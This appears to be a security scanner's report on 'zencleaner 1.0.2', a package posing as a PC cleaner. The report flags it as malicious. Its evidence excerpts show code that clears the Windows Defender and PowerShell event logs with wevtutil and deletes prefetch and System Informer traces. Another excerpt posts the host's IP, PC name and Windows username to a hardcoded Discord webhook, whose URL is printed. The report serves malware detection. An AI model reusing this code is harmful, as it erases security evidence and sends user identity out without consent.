zencleaner 1.0.2
“ZenCleaner - type 'zencleaner' in your terminal to open a localhost web UI that actually cleans your PC.”
Python script clears Windows Defender event logHost identity reported to a Discord webhook
SHA-2562039a3139a858b58a0c8b51f751c9a6432a218664657771033649b4b5531c1cc
Also flagged by osm (Malicious package detected. Behaviors: data exfiltration, code execution.) +2 more.
Evidence
168:18… type": "prefetch",
169 "location": os.path.join(folder, entry),
170 "entry": entry,
171 "detail": "Prefetch trace",
172 "action": "delete file",
173 })
⋯7 lines
181 "Windows PowerShell",
182 "Microsoft-Windows-PowerShell/Operational",
183 "Microsoft-Windows-Windows Defender/Operational",
184]
185
186
187def _system_informer_bases():
188 """System Informer / Process Hacker data folders that keep logs, settings
189 and crash records. These remember every process you inspected, so a scan
190 by name must look inside them too."""
191 roaming = os.environ.get("APPDATA", "")
192 local = os.environ.get("LOCALAPPDATA", "")
193 bases = []
194 if roaming:
195 bases.append(os.path.join(roaming, "SystemInfor …
328:26…
329
330 skip = {
331 "system", "idle", "registry", "csrss.exe", "wininit.exe",
332 "winlogon.exe", "services.exe", "lsass.exe", "smss.exe",
333 "svchost.exe", "dwm.exe", "fontdrvhost.exe", "audiodg.exe",
334 "vmmem.exe", "memcompression.exe", "securityhealthservice.exe",
335 "msmpeng.exe", "nissrv.exe", "wudfhost.exe", "spoolsv.exe",
336 }
337 # never report (or kill) our own process tree: the scanner, its parent
338 # shell and the IDE that …
800 removed.append(location)
801 elif action == "clear event log":
802 proc = subprocess.run(["wevtutil", "cl", location],
803 capture_output=True, timeout=30, check=False)
804 if proc.returncode == 0:
⋯4 lines
1"""Discord webhook logging for ZenCleaner license events.
2
3Every activation attempt (success or failure) is posted to the configured
4Discord webhook as a rich embed. Posting is done on a daemon thread and
5never raises - logging must never break the app.
6
7NOTE: the webhook URL is a secret. Anyone who has it can post to the
8channel - do not ship it in anything public.
9"""
10import json
11import os
12import socket
13import threading
14import urllib.request
15from datetime import datetime
16
17WEBHOOK_URL = (
18 "https://discord.com/api/webhooks/1555423493796012102/"
19 "mpEQAiBpZ6oX2Dm3PY5WC9M1WwVOI0xRFF7dMs_Ta_nSrACSzIUP56ywyZbNKm_RX5Ri"
20)
⋯7 lines
28def _post(payload):
29 try:
30 data = json.dumps(payload).encode("utf-8")
31 req = urllib.request.Request(
32 WEBHOOK_URL, data=data,
33 headers={"Content-Type": "application/json"})
34 urllib.request.urlopen(req, timeout=5)
35 except Exception:
36 pass # never break the app because of logging
37
38
39def _mask_key(key):
40 """Show first 8 chars of a key, rest masked (still iden …
⋯4 lines
125 ("Result", "Success" if ok else "Failed"),
126 ("IP", ip),
127 ("PC name", os.environ.get("COMPUTERNAME", socket.gethostname())),
128 ("Windows user", os.environ.get("USERNAME", "unknown")),
129 ("Duration", duration),
130 ("Expires", str(expires)[:60]),
⋯6 lines
Showing the top 5 files — 6 more files (89 regions) not shown.
No evidence locations were recorded for this file. Raw result